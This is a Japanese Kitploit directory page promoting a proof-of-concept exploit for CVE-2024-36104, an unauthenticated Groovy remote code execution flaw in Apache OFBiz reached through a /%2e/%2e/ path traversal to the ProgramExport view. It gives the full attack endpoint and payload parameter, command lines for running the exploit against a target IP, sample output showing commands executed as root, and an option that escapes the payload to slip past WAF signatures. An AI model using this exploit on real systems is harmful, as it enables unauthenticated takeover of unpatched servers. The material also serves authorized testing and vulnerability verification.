Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-36104-PoC — CVE-2024-36104 の PoC — Apache OFBiz (<18.12.14) における /%2e/%2e/ ビューパストラバーサルを介した ProgramExport への未認証 Groovy RCE | Kitploit
ツール/GitHubGitHub/groppoxx/cve-2024-36104-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

CVE-2024-36104 の PoC — Apache OFBiz (<18.12.14) における /%2e/%2e/ ビューパストラバーサルを介した ProgramExport への未認証 Groovy RCE

リポジトリを見る
321ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-36104-PoC

CVE-2024-36104 の概念実証(PoC)です。これは、Apache OFBiz 18.12.14 より前のバージョンにおける、認証不要のリモートコード実行(RCE)の脆弱性です。

OFBiz の ControlServlet は、リクエストパスを正規化する前に、認証不要のビュー(forgotPassword)を解決します。/%2e/%2e/ を追加するとパスが /webtools/control/ に折り返されるため、元のビューに紐づくセキュリティ/権限チェックを一切通過せずに ProgramExport ビューへ到達します。そして ProgramExport が任意の Groovy コードを実行するため、認証なしでリモートコマンド実行が可能になります。

このスクリプトは、コマンドを /usr/bin/bash -lc で実行する Groovy スニペットに包み、脆弱なエンドポイントに送信し、OFBiz が HTML レスポンス内で投げ返す java.lang.Exception から出力を抽出します。

動作内容

  1. ターゲット URL の検証と正規化を行います。
  2. forgotPassword から ProgramExport への /%2e/%2e/ トラバーサルパスを構築します。
  3. コマンドを Bash 経由で実行される Groovy ペイロードに包みます。
  4. ペイロードを groovyProgram として脆弱なエンドポイントに送信します。
  5. HTML レスポンスを解析してコマンド出力を抽出します。
  6. 解析失敗またはサーバーエラー時は、生のレスポンスにフォールバックします。

必要条件

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

必要な Python パッケージ:

root@kitploit:~
requests
urllib3

クイックスタート

山括弧(< と >)で囲まれた値はプレースホルダーです。ご自身の値に置き換え、< や > の文字は含めないでください。

root@kitploit:~
python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

プレースホルダー

root@kitploit:~
<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

実行例

root@kitploit:~
python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

出力例:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

オプションフラグ

root@kitploit:~
-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

注意事項

  • 18.12.14 より前の Apache OFBiz バージョンに影響します。
  • 認証やユーザー操作は不要です。
  • サーバーが 502 を返した場合、プロキシのタイムアウト前にバックエンドが処理を完了できなかった可能性があります。その場合でも、コマンドはサーバー側で実行完了していることがあります。
  • 自動抽出が失敗した場合は、--show-response を使用して生の HTML を確認してください。

法的免責事項

この PoC は、認可されたセキュリティテスト、ラボ環境、および脆弱性検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード